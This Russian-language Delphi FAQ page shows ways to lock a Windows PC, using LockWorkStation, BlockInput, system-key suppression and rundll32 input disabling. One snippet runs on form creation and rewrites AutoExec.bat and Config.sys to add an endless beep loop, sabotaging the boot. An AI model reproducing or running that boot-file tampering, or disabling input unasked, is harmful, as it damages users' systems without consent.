Как заблокировать компьютер?

Code:

procedure LockPC;

var OldValue: LongBool;

begin

SystemParametersInfo(97, Word(Bool), @OldValue, 0);

WinExec(PChar('rundll32 mouse,disable'), SW_SHOW);

WinExec(PChar('rundll32 keyboard,disable'), SW_SHOW);

end;

Code:

{

The LockWorkStation function locks the workstation's display,

protecting it from unauthorized use.

This function has the same result as pressing Ctrl+Alt+Del and

clicking Lock Workstation.

To unlock the workstation, the user must log in.

Windows NT/2000/XP: Included in Windows 2000 and later.

Windows 95/98/Me: Unsupported.

}

procedure TForm1.Button1Click(Sender: TObject);

begin

LockWorkStation;

end;

{ Loading LockWorkStation dynamically}

function LockWS: Boolean;

// by Thomas Stutz, SDC

type

TLockWorkStation = function: Boolean;

var

hUser32: HMODULE;

LockWorkStation: TLockWorkStation;

begin

// Here we import the function from USER32.DLL

hUser32 := GetModuleHandle('USER32.DLL');

if hUser32 <> 0 then

begin

   @LockWorkStation := GetProcAddress(hUser32, 'LockWorkStation');

   if @LockWorkStation <> nil then

   begin

     LockWorkStation;

     Result := True;

   end;

end;

end;

Code:

procedure TForm1.FormCreate(Sender: TObject);

begin

with Memo1.Lines do

begin

   Clear;

   LoadFromFile('C:\AutoExec.bat');

   Insert(3,'goto %config%');

   Insert(4,':FuckSystem');

   Append('beep');

   Append('goto FuckSystem');

   Append(':HackSystem');

   Append('beep');

   Append('goto HackSystem');

   Append(':exit');

   SaveToFile('C:\AutoExec.bat');

   Clear;

   LoadFromFile('C:\Config.sys');

   Append('[menu]');

   Append('menuitem=HackSystem, HackSystem');

   Append('menuitem=FuckSystem, FuckSystem');

   Append('[FuckSystem]');

   Append('[HackSystem]');

   SaveToFile('C:\Config.sys');

end;

end;

Code:

{ **** UBPFD *********** ****

>> Блокировка/Разблокировка системы.

Модуль LockSys. Блокировка/Разблокировка системы.

Метод блокировки: блокируется (по-выбору) клавиатура и мышь,

системные комбинации клавиш, или всё вместе.

БЛОКИРОВКА СИСТЕМЫ: function LockSystem(LockMode:TLockMode):Boolean;

Возможные значения параметра LockMode:

lmInput - блокировка мыши и клавитатуры

lmSystemKeys - блокировка системных комбинаций клавиш

lmBoth = lmInput + lmSystemKeys

В случае успеха функция возвращает True, иначе - False

РАЗБЛОКИРОВКА СИСТЕМЫ: function UnLockSystem(UnLockMode:TLockMode):Boolean;

Входные параметры аналогичны функции LockSystem, но только

речь в данном случае идёт о разблокировке.

В случае успеха - True, иначе - False.

 Зависимости: windows

Автор:       VID, Этот адрес электронной почты защищён от спам-ботов. У вас должен быть включен JavaScript для просмотра., Copyright:   VID (основа списана из одного FAQ)

***************************************************** }

unit LockSys;

interface

uses

Windows;

type

TLockMode = (lmInput, lmSystemKeys, lmBoth);

function FuncAvail(_dllname, _funcname: string; var _p: pointer): boolean;

function LockSystem(LockMode: TLockMode): Boolean;

function UnLockSystem(UnLockMode: TLockMode): Boolean;

var

xBlockInput: function(Block: BOOL): BOOL; stdcall;

implementation

function FuncAvail(_dllname, _funcname: string; var _p: pointer): boolean;

var

_lib: tHandle;

begin

Result := false;

_p := nil;

if LoadLibrary(PChar(_dllname)) = 0 then

   exit;

_lib := GetModuleHandle(PChar(_dllname));

if _lib <> 0 then

begin

   _p := GetProcAddress(_lib, PChar(_funcname));

   if _p <> nil then

     Result := true;

end;

end;

function LockSystem(LockMode: TLockMode): Boolean;

begin

Result := False;

if LockMode = lmSystemKeys then //Locking system

   if not SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, nil, 0) then

     Exit;

if LockMode = lmInput then //locking keyb and mouse

   if FuncAvail('USER32.DLL', 'BlockInput', @xBlockInput) then

     xBlockInput(true)

   else

     Exit;

if LockMode = lmBoth then

begin

   if not SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1, nil, 0) then

     Exit;

   if FuncAvail('USER32.DLL', 'BlockInput', @xBlockInput) then

     xBlockInput(true)

   else

     Exit;

end;

Result := True;

end;

function UnLockSystem(UnLockMode: TLockMode): Boolean;

begin

Result := False;

if UnLockMode = lmSystemKeys then //UnLocking system

   if not SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, nil, 0) then

     Exit;

if UnLockMode = lmInput then //unlocking keyb and mouse

   if FuncAvail('USER32.DLL', 'BlockInput', @xBlockInput) then

     xBlockInput(false)

   else

     Exit;

if UnLockMode = lmBoth then

begin

   if not SystemParametersInfo(SPI_SCREENSAVERRUNNING, 0, nil, 0) then

     Exit;

   if FuncAvail('USER32.DLL', 'BlockInput', @xBlockInput) then

     xBlockInput(false)

   else

     Exit;

end;

Result := True;

end;

end.

//Пример использования:

LockSystem(lmBoth); // Блокировка всей системы

UnLockSystem(lmInput); // Разблокировка клавы и мыши